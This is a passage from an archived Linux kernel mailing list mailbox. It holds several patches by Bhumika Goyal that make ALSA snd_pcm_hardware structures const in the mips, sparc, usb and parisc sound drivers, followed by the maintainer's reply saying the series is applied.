 bh=pgRDtZHKHPkJtFCElBMhiF1W5/7zPL8UmBjko0hqJYc=;
 b=TzEPHKYAA2nstDMKN5dxDlMw05aMLzjzXAgwjBzOaFM8ymzCjUbgEIgC2jex1MxegN
 N8E3TYBWIxPZ3YoO8lmWXy4klbVN7P9ScuOb4TJU/MCkYjzL8crKKVoB539LEft8l2W3
 uMIy6WzXhK1pWGq5KCdNDULDgPHwwzRXV09BgXFNjrP2rczqWsj7WQNNSyVCIa2tOHL0
 wg8DFM+H17Ft5MbJcQhqZSfAXK56pMA+HnmZRfopB3CKQeeJ7OrY5VlAJxXXzSTONVbx
 J8yohbc0ATGfeAeZ7SfB79MIqbciuRdLhuBGreZ3FE9W1G+flR/mNimJWMUqBsiTzsgz
 CQKg==
X-Gm-Message-State: AHYfb5juaQKR2drlDBfgPblJVjArfgfizEpwfzE0Sh3RHKqZ1Y3Mpvwo
 O0+TQiv6SBuCnw==
X-Received: by 10.98.70.132 with SMTP id o4mr4539492pfi.104.1502961431773;
 Thu, 17 Aug 2017 02:17:11 -0700 (PDT)
Original-Received: from gmail.com ([117.196.97.196])
 by smtp.gmail.com with ESMTPSA id m84sm6007680pfi.88.2017.08.17.02.17.06
 (version=TLS1 cipher=AES128-SHA bits=128/128);
 Thu, 17 Aug 2017 02:17:11 -0700 (PDT)
Original-Received: by gmail.com (sSMTP sendmail emulation);
 Thu, 17 Aug 2017 14:47:03 +0530
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1502961360-22063-1-git-send-email-bhumirks@gmail.com>
X-BeenThere: alsa-devel@alsa-project.org
X-Mailman-Version: 2.1.14
Precedence: list
List-Id: "Alsa-devel mailing list for ALSA developers -
 http://www.alsa-project.org" <alsa-devel.alsa-project.org>
List-Unsubscribe: <http://mailman.alsa-project.org/mailman/options/alsa-devel>, 
 <mailto:alsa-devel-request@alsa-project.org?subject=unsubscribe>
List-Archive: <http://mailman.alsa-project.org/pipermail/alsa-devel/>
List-Post: <mailto:alsa-devel@alsa-project.org>
List-Help: <mailto:alsa-devel-request@alsa-project.org?subject=help>
List-Subscribe: <http://mailman.alsa-project.org/mailman/listinfo/alsa-devel>, 
 <mailto:alsa-devel-request@alsa-project.org?subject=subscribe>
Errors-To: alsa-devel-bounces@alsa-project.org
Original-Sender: alsa-devel-bounces@alsa-project.org
Xref: news.gmane.org gmane.linux.alsa.devel:170787 gmane.linux.kernel:2550896 gmane.linux.ports.parisc:27688 gmane.linux.ports.ppc64.devel:146504
Archived-At: <http://permalink.gmane.org/gmane.linux.alsa.devel/170787>

Make these const as they are only used in a copy operation.
Done using Coccinelle

Signed-off-by: Bhumika Goyal <bhumirks@gmail.com>
---
 sound/mips/hal2.c       | 2 +-
 sound/mips/sgio2audio.c | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/sound/mips/hal2.c b/sound/mips/hal2.c
index 3318c15..367d6c37 100644
--- a/sound/mips/hal2.c
+++ b/sound/mips/hal2.c
@@ -496,7 +496,7 @@ static void hal2_free_dmabuf(struct hal2_codec *codec)
 		       DMA_ATTR_NON_CONSISTENT);
 }
 
-static struct snd_pcm_hardware hal2_pcm_hw = {
+static const struct snd_pcm_hardware hal2_pcm_hw = {
 	.info = (SNDRV_PCM_INFO_MMAP |
 		 SNDRV_PCM_INFO_MMAP_VALID |
 		 SNDRV_PCM_INFO_INTERLEAVED |
diff --git a/sound/mips/sgio2audio.c b/sound/mips/sgio2audio.c
index 0ebc1c3..603892f 100644
--- a/sound/mips/sgio2audio.c
+++ b/sound/mips/sgio2audio.c
@@ -532,7 +532,7 @@ static irqreturn_t snd_sgio2audio_error_isr(int irq, void *dev_id)
 
 /* PCM part */
 /* PCM hardware definition */
-static struct snd_pcm_hardware snd_sgio2audio_pcm_hw = {
+static const struct snd_pcm_hardware snd_sgio2audio_pcm_hw = {
 	.info = (SNDRV_PCM_INFO_MMAP |
 		 SNDRV_PCM_INFO_MMAP_VALID |
 		 SNDRV_PCM_INFO_INTERLEAVED |
-- 
1.9.1


From - Thu Nov 08 21:40:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bhumika Goyal <bhumirks@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.alsa.devel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [PATCH 10/12] ALSA: sparc: make snd_pcm_hardware const
Date: Thu, 17 Aug 2017 14:45:58 +0530
Lines: 62
Approved: news@gmane.org
Message-ID: <1502961360-22063-11-git-send-email-bhumirks@gmail.com>
References: <1502961360-22063-1-git-send-email-bhumirks@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1502961489 8314 195.159.176.226 (17 Aug 2017 09:18:09 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 17 Aug 2017 09:18:09 +0000 (UTC)
Cc: Bhumika Goyal <bhumirks@gmail.com>
To: julia.lawall@lip6.fr, linux@armlinux.org.uk, perex@perex.cz,
        tiwai@suse.com, benh@kernel.crashing.org, paulus@samba.org,
        mpe@ellerman.id.au, alsa-devel@alsa-project.org,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Aug 17 11:18:04 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1diGw5-0001LW-1P
	for glk-linux-kernel-3@m.gmane.org; Thu, 17 Aug 2017 11:17:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752601AbdHQJR6 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Thu, 17 Aug 2017 05:17:58 -0400
Original-Received: from mail-pg0-f66.google.com ([74.125.83.66]:37842 "EHLO
        mail-pg0-f66.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751843AbdHQJRz (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 17 Aug 2017 05:17:55 -0400
Original-Received: by mail-pg0-f66.google.com with SMTP id 83so8932098pgb.4;
        Thu, 17 Aug 2017 02:17:55 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=P2TE6qWOgfgd1W6xHr40kLQ+d8iob332qOXtQV1+buM=;
        b=F0LkSD8iOeyrZdBgO5pjDlHq0KwW1KnQuniXXxPoVPBzQ0xj6bccbXQkkPPkuuIGfB
         fBGb+wld9ny54k6lGGCWFVQWst7+10JXbNOs9/V3WvCde9OSiTV30SE73jOu0XqjBx3s
         JIwM1ow9HCHJCyb20hmUpZtf7mwOjPzFIHZrELRwuotWfXBNN9hdtOOpAoQa0mnORV0T
         Fa7uxp6enSgFVfh/tCVQF56C+WJk6wXY7ObTPxBFmAfwbltf+TCMKeV13NSItWdGoOlg
         5w0vW3j4qy2ONWyMi42WW3sN8Mrc9WMUEC5/1vocOK60P6H8XtdxOcnylAdtIOxfQMXe
         r86w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=P2TE6qWOgfgd1W6xHr40kLQ+d8iob332qOXtQV1+buM=;
        b=HNrFubHqpLuPTsqrGWHW9m9T60OlwUNQER1tn2nUn2GvI72iNxjQPEd4ef4yta+uCO
         9rdkBmszKL9ubZ4Hqf7LfbDP9iMfp0Z5DIjGPyA4bI1IvYo88aE0InjuOTrLQ+PprMb9
         orwSUKGOMIpazgt2IAvapMNq6Hr7XGWFhltthsMGaSl6PA/Z1Obtnu6D9SK05mTFu1CP
         w8nCgLUy7E3jv0ZwZAoamywRssN2RfoCMDneZmCRbK9KMtjY6IDKjOe096jSqiaq03uA
         bflEAc+gfyNxJclDlXnrEtyluwxTInRKGpMtzpPvD5WA1cIvQ7hdwifF6BMtIRRYPMe1
         rQbQ==
X-Gm-Message-State: AHYfb5jDb8m5GPRpSqYyblkPtk1ShzZRq1uaE/E71x6axfssIkW5+IEG
        0zjQhA5TFakZZw==
X-Received: by 10.101.72.201 with SMTP id o9mr4272187pgs.171.1502961475056;
        Thu, 17 Aug 2017 02:17:55 -0700 (PDT)
Original-Received: from gmail.com ([117.196.97.196])
        by smtp.gmail.com with ESMTPSA id v78sm6633078pfd.121.2017.08.17.02.17.49
        (version=TLS1 cipher=AES128-SHA bits=128/128);
        Thu, 17 Aug 2017 02:17:54 -0700 (PDT)
Original-Received: by gmail.com (sSMTP sendmail emulation); Thu, 17 Aug 2017 14:47:46 +0530
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1502961360-22063-1-git-send-email-bhumirks@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2550897 gmane.linux.alsa.devel:170788 gmane.linux.ports.parisc:27689 gmane.linux.ports.ppc64.devel:146505
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2550897>

Make these const as they are only used in a copy operation.
Done using Coccinelle.

Signed-off-by: Bhumika Goyal <bhumirks@gmail.com>
---
 sound/sparc/amd7930.c | 2 +-
 sound/sparc/cs4231.c  | 4 ++--
 sound/sparc/dbri.c    | 2 +-
 3 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/sound/sparc/amd7930.c b/sound/sparc/amd7930.c
index 35c1f6a..a6864fd 100644
--- a/sound/sparc/amd7930.c
+++ b/sound/sparc/amd7930.c
@@ -666,7 +666,7 @@ static snd_pcm_uframes_t snd_amd7930_capture_pointer(struct snd_pcm_substream *s
 }
 
 /* Playback and capture have identical properties.  */
-static struct snd_pcm_hardware snd_amd7930_pcm_hw =
+static const struct snd_pcm_hardware snd_amd7930_pcm_hw =
 {
 	.info			= (SNDRV_PCM_INFO_MMAP |
 				   SNDRV_PCM_INFO_MMAP_VALID |
diff --git a/sound/sparc/cs4231.c b/sound/sparc/cs4231.c
index 3d7d425..f5192b3 100644
--- a/sound/sparc/cs4231.c
+++ b/sound/sparc/cs4231.c
@@ -1089,7 +1089,7 @@ static int snd_cs4231_probe(struct snd_cs4231 *chip)
 	return 0;		/* all things are ok.. */
 }
 
-static struct snd_pcm_hardware snd_cs4231_playback = {
+static const struct snd_pcm_hardware snd_cs4231_playback = {
 	.info			= SNDRV_PCM_INFO_MMAP |
 				  SNDRV_PCM_INFO_INTERLEAVED |
 				  SNDRV_PCM_INFO_MMAP_VALID |
@@ -1113,7 +1113,7 @@ static int snd_cs4231_probe(struct snd_cs4231 *chip)
 	.periods_max		= 1024,
 };
 
-static struct snd_pcm_hardware snd_cs4231_capture = {
+static const struct snd_pcm_hardware snd_cs4231_capture = {
 	.info			= SNDRV_PCM_INFO_MMAP |
 				  SNDRV_PCM_INFO_INTERLEAVED |
 				  SNDRV_PCM_INFO_MMAP_VALID |
diff --git a/sound/sparc/dbri.c b/sound/sparc/dbri.c
index 52063b2..72b6c4a 100644
--- a/sound/sparc/dbri.c
+++ b/sound/sparc/dbri.c
@@ -1980,7 +1980,7 @@ static irqreturn_t snd_dbri_interrupt(int irq, void *dev_id)
 /****************************************************************************
 		PCM Interface
 ****************************************************************************/
-static struct snd_pcm_hardware snd_dbri_pcm_hw = {
+static const struct snd_pcm_hardware snd_dbri_pcm_hw = {
 	.info		= SNDRV_PCM_INFO_MMAP |
 			  SNDRV_PCM_INFO_INTERLEAVED |
 			  SNDRV_PCM_INFO_BLOCK_TRANSFER |
-- 
1.9.1



From - Thu Nov 08 21:40:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bhumika Goyal <bhumirks@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.alsa.devel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [PATCH 11/12] ALSA: usb: make snd_pcm_hardware const
Date: Thu, 17 Aug 2017 14:45:59 +0530
Lines: 25
Approved: news@gmane.org
Message-ID: <1502961360-22063-12-git-send-email-bhumirks@gmail.com>
References: <1502961360-22063-1-git-send-email-bhumirks@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1502961489 8368 195.159.176.226 (17 Aug 2017 09:18:09 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 17 Aug 2017 09:18:09 +0000 (UTC)
Cc: Bhumika Goyal <bhumirks@gmail.com>
To: julia.lawall@lip6.fr, linux@armlinux.org.uk, perex@perex.cz,
        tiwai@suse.com, benh@kernel.crashing.org, paulus@samba.org,
        mpe@ellerman.id.au, alsa-devel@alsa-project.org,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Aug 17 11:18:05 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1diGwC-0001LW-J8
	for glk-linux-kernel-3@m.gmane.org; Thu, 17 Aug 2017 11:18:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752628AbdHQJSG (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Thu, 17 Aug 2017 05:18:06 -0400
Original-Received: from mail-pg0-f66.google.com ([74.125.83.66]:36210 "EHLO
        mail-pg0-f66.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751149AbdHQJSE (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 17 Aug 2017 05:18:04 -0400
Original-Received: by mail-pg0-f66.google.com with SMTP id y129so8930521pgy.3;
        Thu, 17 Aug 2017 02:18:03 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=0N4rzzsCbuI04/Vni1HeZnXU0wZds0hHzKYpEf+tEOk=;
        b=p87x8cTSjSNIu01XDCWG5lKx3S/GZdCx9PiHKCcNbKXVAC074LWX1wBSzUTmUIn2sT
         rpWTp1rWkllQcMA7i6HzVP8q0s94ETJNWgm7w5xf6cZVfSxiC8wuJiagD9nm2vQLLtwa
         JAcqHjyinbIW9w6sCnLHcUNcomH3L+JXxpEkr+SAFl+JQ7hBVOKTxR+Mhh1mtquBtGYJ
         aCZcgwEmgY8psHGIMVatmhRd0fBlvZpOzxwNTUiVxnwnHM70qa1DjBB204T8cF0UnvfW
         1cVnf8J3crS7L5XlplofaBN8EXAttTBZNNauZyhAoeclnURtb9/+8Ms1CNjdZ0m36IdX
         c43A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=0N4rzzsCbuI04/Vni1HeZnXU0wZds0hHzKYpEf+tEOk=;
        b=ZwE3KrX4brfw7yXHhqU3SueEqJiUoaTn3FD/1Qybox8L+J/26dU06vl+og5ckdUm4H
         Uchs8EhBR+Qqor1tvLF/jQh4oBW/JV8ubf5Uo80Ypkf7b0Se4bfa+44a0av/AorFzODy
         vdboaa6Pohj42EahWGlJ0sCujM8OgXM7UWSI+ovnZCRxO/bs2eBMqUylQ4XJ9G+US8bF
         ldiZwIh8q7CYnBTtBeraHsbyEBNlp6SYYtIr+xDaXqzdiQQr4dQ0hbBe+nPvmYuR70bd
         jJXCvDInrDUMB2AVq/GbXgHUbb0/2o7SM0boAQHhHo7At5RyrTm1w9o6Z3GkjopBt796
         O0yA==
X-Gm-Message-State: AHYfb5iQ/P3d+MVJEcwgtEjsTPYFORtsHbhduuLYsjd8zM1F3PXMAgfu
        uaANNJdX6mZtgQ==
X-Received: by 10.84.253.16 with SMTP id z16mr4906937pll.81.1502961483605;
        Thu, 17 Aug 2017 02:18:03 -0700 (PDT)
Original-Received: from gmail.com ([117.196.97.196])
        by smtp.gmail.com with ESMTPSA id i66sm6386164pfk.146.2017.08.17.02.17.58
        (version=TLS1 cipher=AES128-SHA bits=128/128);
        Thu, 17 Aug 2017 02:18:02 -0700 (PDT)
Original-Received: by gmail.com (sSMTP sendmail emulation); Thu, 17 Aug 2017 14:47:55 +0530
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1502961360-22063-1-git-send-email-bhumirks@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2550898 gmane.linux.alsa.devel:170789 gmane.linux.ports.parisc:27690 gmane.linux.ports.ppc64.devel:146506
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2550898>

Make this const as it is only used in a copy operation.
Done using Coccinelle.

Signed-off-by: Bhumika Goyal <bhumirks@gmail.com>
---
 sound/usb/pcm.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/sound/usb/pcm.c b/sound/usb/pcm.c
index 9aa5b18..a4f3390 100644
--- a/sound/usb/pcm.c
+++ b/sound/usb/pcm.c
@@ -857,7 +857,7 @@ static int snd_usb_pcm_prepare(struct snd_pcm_substream *substream)
 	return ret;
 }
 
-static struct snd_pcm_hardware snd_usb_hardware =
+static const struct snd_pcm_hardware snd_usb_hardware =
 {
 	.info =			SNDRV_PCM_INFO_MMAP |
 				SNDRV_PCM_INFO_MMAP_VALID |
-- 
1.9.1



From - Thu Nov 08 21:40:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Bhumika Goyal <bhumirks@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.alsa.devel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: [PATCH 12/12] ALSA: parisc: make snd_pcm_hardware const
Date: Thu, 17 Aug 2017 14:46:00 +0530
Lines: 34
Approved: news@gmane.org
Message-ID: <1502961360-22063-13-git-send-email-bhumirks@gmail.com>
References: <1502961360-22063-1-git-send-email-bhumirks@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1502961500 10413 195.159.176.226 (17 Aug 2017 09:18:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 17 Aug 2017 09:18:20 +0000 (UTC)
Cc: Bhumika Goyal <bhumirks@gmail.com>
To: julia.lawall@lip6.fr, linux@armlinux.org.uk, perex@perex.cz,
        tiwai@suse.com, benh@kernel.crashing.org, paulus@samba.org,
        mpe@ellerman.id.au, alsa-devel@alsa-project.org,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Aug 17 11:18:15 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1diGwL-00028g-EQ
	for glk-linux-kernel-3@m.gmane.org; Thu, 17 Aug 2017 11:18:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751666AbdHQJSO (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Thu, 17 Aug 2017 05:18:14 -0400
Original-Received: from mail-pg0-f66.google.com ([74.125.83.66]:34685 "EHLO
        mail-pg0-f66.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751369AbdHQJSM (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 17 Aug 2017 05:18:12 -0400
Original-Received: by mail-pg0-f66.google.com with SMTP id y192so8935550pgd.1;
        Thu, 17 Aug 2017 02:18:12 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=IaPyeoSVexLdPpX7776b61dVqXkMvdCb42hyJJDYlzQ=;
        b=BDd9y4Z+xaog4gXuO8qa1LSX5ZXUCk7AjmHJt2v6W5/4mF8wQvwUS5cyEldKfIJv+B
         hnLmHVd2l8MHFij8ZnApuySKBMArslxPIzjF2ZzNWTz3nsuy2iu4hLaY0vUQMYLaGg4u
         Zlw+vkJzvhGvv4uDhOhN4Yfpo4ZWxyh1qaqZdcAx2Lw+x8WOZPzzVcP1wcWYK3g0Xkf2
         XyFV4LRneHKcAwygNSLT3oBu/k2z2TO2a7vt0V/A7v0le13+yo6xBF+YE4wnUYCRN4qI
         KPVDLxmr4CLMHzR9mPShE3+p6G/Xj0Ls5fvaFSrkkgZn5FMpXMavu8+zTF6lWmkzwWlU
         NXlA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=IaPyeoSVexLdPpX7776b61dVqXkMvdCb42hyJJDYlzQ=;
        b=pcm1vtGSlyEUdTh0Ju6ibDX5EbH89nwcsqEua58J2DYCUUI70HYwzK6OZr3+KH2Gy/
         TZPO6b6ipdAK17hVmVmeWqUR+XIIekkujMmYBH79gG4H/kXFXVreVm5ZSanqXtbem7/G
         IFcPBQwHjqOiZ64aVPgahtvLYgOzV5QwY3b+28pA4DdCPK3Z+gS8xFIHJGLPd2bgD9ft
         sMlZg3JlU5hgvsC4sYQnmHS100sy9olbilBZfZDs73YqVxsm3mxrg90S1jF73jeeJbz+
         dyR96YogVQVx6tRniq8HLXRMVeMevOJppdLixlMxJ2z5KXfxJ0L9rkcE3GP9lg3+b7sh
         p9SQ==
X-Gm-Message-State: AHYfb5izuNnyxhEwrD9iAFpy7qwYgvjc2hQjKrxZlBD1st9P3ch/HKE9
        pj+o+yyx1OkKOQ==
X-Received: by 10.84.234.23 with SMTP id m23mr5136900plk.427.1502961491702;
        Thu, 17 Aug 2017 02:18:11 -0700 (PDT)
Original-Received: from gmail.com ([117.196.97.196])
        by smtp.gmail.com with ESMTPSA id u26sm6914851pfi.140.2017.08.17.02.18.06
        (version=TLS1 cipher=AES128-SHA bits=128/128);
        Thu, 17 Aug 2017 02:18:11 -0700 (PDT)
Original-Received: by gmail.com (sSMTP sendmail emulation); Thu, 17 Aug 2017 14:48:03 +0530
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1502961360-22063-1-git-send-email-bhumirks@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2550899 gmane.linux.alsa.devel:170790 gmane.linux.ports.parisc:27691 gmane.linux.ports.ppc64.devel:146507
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2550899>

Make these const as they are only used in a copy operation.
Done using Coccinelle

Signed-off-by: Bhumika Goyal <bhumirks@gmail.com>
---
 sound/parisc/harmony.c | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/sound/parisc/harmony.c b/sound/parisc/harmony.c
index 5911eb3..cb2bc54 100644
--- a/sound/parisc/harmony.c
+++ b/sound/parisc/harmony.c
@@ -260,7 +260,7 @@
 	return HARMONY_SR_44KHZ;
 }
 
-static struct snd_pcm_hardware snd_harmony_playback =
+static const struct snd_pcm_hardware snd_harmony_playback =
 {
 	.info =	(SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED | 
 		 SNDRV_PCM_INFO_JOINT_DUPLEX | SNDRV_PCM_INFO_MMAP_VALID |
@@ -281,7 +281,7 @@
 	.fifo_size = 0,
 };
 
-static struct snd_pcm_hardware snd_harmony_capture =
+static const struct snd_pcm_hardware snd_harmony_capture =
 {
         .info = (SNDRV_PCM_INFO_MMAP | SNDRV_PCM_INFO_INTERLEAVED |
                  SNDRV_PCM_INFO_JOINT_DUPLEX | SNDRV_PCM_INFO_MMAP_VALID |
-- 
1.9.1



From - Thu Nov 08 21:40:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Takashi Iwai <tiwai@suse.de>
Newsgroups: gmane.linux.kernel,gmane.linux.alsa.devel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc
Subject: Re: [PATCH 00/12] ALSA: make snd_pcm_hardware const
Date: Thu, 17 Aug 2017 12:48:38 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <s5h8tiih3ll.wl-tiwai@suse.de>
References: <1502961360-22063-1-git-send-email-bhumirks@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka")
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1502966929 12628 195.159.176.226 (17 Aug 2017 10:48:49 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 17 Aug 2017 10:48:49 +0000 (UTC)
User-Agent: Wanderlust/2.15.9 (Almost Unreal) SEMI/1.14.6 (Maruoka)
 FLIM/1.14.9 (=?UTF-8?B?R29qxY0=?=) APEL/10.8 Emacs/25.2
 (x86_64-suse-linux-gnu) MULE/6.0 (HANACHIRUSATO)
Cc: <alsa-devel@alsa-project.org>, <linux@armlinux.org.uk>,
        <mpe@ellerman.id.au>, <benh@kernel.crashing.org>,
        <julia.lawall@lip6.fr>, <linuxppc-dev@lists.ozlabs.org>,
        <perex@perex.cz>, <paulus@samba.org>,
        <linux-kernel@vger.kernel.org>, <linux-parisc@vger.kernel.org>
To: "Bhumika Goyal" <bhumirks@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Aug 17 12:48:45 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1diILu-0002dQ-KQ
	for glk-linux-kernel-3@m.gmane.org; Thu, 17 Aug 2017 12:48:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752374AbdHQKsn (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Thu, 17 Aug 2017 06:48:43 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:47124 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1752272AbdHQKsl (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 17 Aug 2017 06:48:41 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id BB32DAAB6;
        Thu, 17 Aug 2017 10:48:39 +0000 (UTC)
In-Reply-To: <1502961360-22063-1-git-send-email-bhumirks@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2550996 gmane.linux.alsa.devel:170816 gmane.linux.ports.ppc64.devel:146516 gmane.linux.ports.parisc:27692
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2550996>

On Thu, 17 Aug 2017 11:15:48 +0200,
Bhumika Goyal wrote:
> 
> Make these const.
> 
> Bhumika Goyal (12):
>   ALSA: arm: make snd_pcm_hardware const
>   ALSA: atmel: make snd_pcm_hardware const
>   ALSA: drivers: make snd_pcm_hardware const
>   ALSA: isa: make snd_pcm_hardware const
>   ALSA: mips: make snd_pcm_hardware const
>   ALSA: pci: make snd_pcm_hardware const
>   ALSA: pcmcia: make snd_pcm_hardware const
>   ALSA: ppc: make snd_pcm_hardware const
>   ALSA: sh: make snd_pcm_hardware const
>   ALSA: sparc: make snd_pcm_hardware const
>   ALSA: usb: make snd_pcm_hardware const
>   ALSA: parisc: make snd_pcm_hardware const

Applied all patches now.  Thanks.


Takashi


From - Thu Nov 08 21:40:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: WARNING: workqueue cpumask: online intersect > possible intersect
Date: Thu, 17 Aug 2017 14:40:51 +0300 (EEST)
Lines: 15
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.20.1708171438520.29402@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
